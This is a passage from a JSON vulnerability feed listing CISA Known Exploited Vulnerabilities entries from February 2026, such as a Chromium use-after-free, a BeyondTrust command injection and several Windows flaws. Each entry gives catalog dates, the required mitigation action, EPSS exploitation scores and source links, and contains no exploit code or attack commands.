follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-17","updatedAt":null,"regions":["Global"],"vendor":"TeamT5","product":"ThreatSonar Anti-Ransomware","stacks":["TeamT5","ThreatSonar Anti-Ransomware"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-17","dueAt":"2026-03-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01792,"percentile":0.78236,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-7694&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-7694","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-7694 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-7694&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-7694, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-2441","cveId":"CVE-2026-2441","aliases":[],"kind":"vulnerability","title":"Google Chromium CSS Use-After-Free Vulnerability","summary":"Google Chromium CSS contains a use-after-free vulnerability that could allow a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-17","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium","stacks":["Google Chrome","Google","Chromium"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-17","dueAt":"2026-03-10","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.54957,"percentile":0.99018,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-2441&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-2441","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-2441 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-2441&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-2441, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-1731","cveId":"CVE-2026-1731","aliases":[],"kind":"vulnerability","title":"BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA) OS Command Injection Vulnerability","summary":"BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA)contain an OS command injection vulnerability. Successful exploitation could allow an unauthenticated remote attacker to execute operating system commands in the context of the site user. Successful exploitation requires no authentication or user interaction and may lead to system compromise, including unauthorized access, data exfiltration, and service disruption.","detail":"CISA added this entry on 2026-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-13","updatedAt":null,"regions":["Global"],"vendor":"BeyondTrust","product":"Remote Support (RS) and Privileged Remote Access (PRA)","stacks":["BeyondTrust","Remote Support (RS) and Privileged Remote Access (PRA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-13","dueAt":"2026-02-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.931,"percentile":0.99832,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-1731&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-1731","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-1731 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-1731&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-1731, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-43468","cveId":"CVE-2024-43468","aliases":[],"kind":"vulnerability","title":"Microsoft Configuration Manager SQL Injection Vulnerability","summary":"Microsoft Configuration Manager contains an SQL injection vulnerability. An unauthenticated attacker could exploit this vulnerability by sending specially crafted requests to the target environment which are processed in an unsafe manner enabling the attacker to execute commands on the server and/or underlying database.","detail":"CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-12","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Configuration Manager","stacks":["Microsoft","Configuration Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-12","dueAt":"2026-03-05","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.81043,"percentile":0.99628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-43468&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-43468","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-43468 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-43468&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-43468, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-15556","cveId":"CVE-2025-15556","aliases":[],"kind":"vulnerability","title":"Notepad++ Download of Code Without Integrity Check Vulnerability","summary":"Notepad++ when using the WinGUp updater, contains a download of code without integrity check vulnerability that could allow an attacker to intercept or redirect update traffic to download and execute an attacker-controlled installer. This could lead to arbitrary code execution with the privileges of the user.","detail":"CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-12","updatedAt":null,"regions":["Global"],"vendor":"Notepad++","product":"Notepad++","stacks":["Notepad++"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-12","dueAt":"2026-03-05","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01772,"percentile":0.78003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-15556&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-15556","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-15556 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-15556&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-15556, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-40536","cveId":"CVE-2025-40536","aliases":[],"kind":"vulnerability","title":"SolarWinds Web Help Desk Security Control Bypass Vulnerability","summary":"SolarWinds Web Help Desk contains a security control bypass vulnerability that could allow an unauthenticated attacker to gain access to certain restricted functionality.","detail":"CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-12","updatedAt":null,"regions":["Global"],"vendor":"SolarWinds","product":"Web Help Desk","stacks":["SolarWinds","Web Help Desk"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-12","dueAt":"2026-02-15","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.73562,"percentile":0.99463,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-40536&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-40536","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-40536 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-40536&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-40536, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20700","cveId":"CVE-2026-20700","aliases":[],"kind":"vulnerability","title":"Apple Multiple Buffer Overflow Vulnerability","summary":"Apple iOS, macOS, tvOS, watchOS, and visionOS contain an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow an attacker with memory write the capability to execute arbitrary code.","detail":"CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-12","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-12","dueAt":"2026-03-05","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01679,"percentile":0.76748,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20700&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20700","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20700 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20700&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20700, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21510","cveId":"CVE-2026-21510","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Shell Protection Mechanism Failure Vulnerability","summary":"Microsoft Windows Shell contains a protection mechanism failure vulnerability that could allow an unauthorized attacker to bypass a security feature over a network.","detail":"CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-10","dueAt":"2026-03-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.61238,"percentile":0.99155,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-21510&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-21510","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-21510 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-21510&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-21510, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21513","cveId":"CVE-2026-21513","aliases":[],"kind":"vulnerability","title":"Microsoft MSHTML Framework Protection Mechanism Failure Vulnerability","summary":"Microsoft MSHTML Framework contains a protection mechanism failure vulnerability that could allow an unauthorized attacker to bypass a security feature over a network.","detail":"CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-10","dueAt":"2026-03-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.15852,"percentile":0.96858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-21513&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-21513","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-21513 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-21513&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-21513, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21514","cveId":"CVE-2026-21514","aliases":[],"kind":"vulnerability","title":"Microsoft Office Word Reliance on Untrusted Inputs in a Security Decision Vulnerability","summary":"Microsoft Office Word contains a reliance on untrusted inputs in a security decision vulnerability that could allow an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-10","dueAt":"2026-03-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01587,"percentile":0.7543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-21514&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-21514","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-21514 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-21514&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-21514, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21519","cveId":"CVE-2026-21519","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Type Confusion Vulnerability","summary":"Microsoft Desktop Windows Manager contains a type confusion vulnerability that could allow an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-10","dueAt":"2026-03-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02477,"percentile":0.84439,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-21519&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-21519","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-21519 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-21519&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-21519, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21525","cveId":"CVE-2026-21525","aliases":[],"kind":"vulnerability","title":"Microsoft Windows NULL Pointer Dereference Vulnerability","summary":"Microsoft Windows Remote Access Connection Manager contains a NULL pointer dereference that could allow an unauthorized attacker to deny service locally.","detail":"CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-10","dueAt":"2026-03-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04825,"percentile":0.91917,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-21525&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-21525","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-21525 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-21525&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-21525, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21533","cveId":"CVE-2026-21533","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Improper Privilege Management Vulnerability","summary":"Microsoft Windows Remote Desktop Services contains an improper privilege management vulnerability that could allow an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2026-02-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-10","dueAt":"2026-03-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04148,"percentile":0.90784,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-21533&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-21533","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-02-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-21533 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-21533&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-21533, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-11953","cveId":"CVE-2025-11953","aliases":[],"kind":"vulnerability","title":"React Native Community CLI OS Command Injection Vulnerability","summary":"React Native Community CLI contains an OS command injection vulnerability which could allow unauthenticated network attackers to send POST requests to the Metro Development Server and run arbitrary executables via a vulnerable endpoint exposed by the server. On Windows, attackers can also execute arbitrary shell commands with fully controlled arguments.","detail":"CISA added this entry on 2026-02-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2026-02-05","updatedAt":null,"regions":["Global"],"vendor":"React Native Community","product":"CLI","stacks":["React Native Community","CLI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-02-05","dueAt":"2026-02-26","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9398,"percentile":0.99844,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-11953&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI 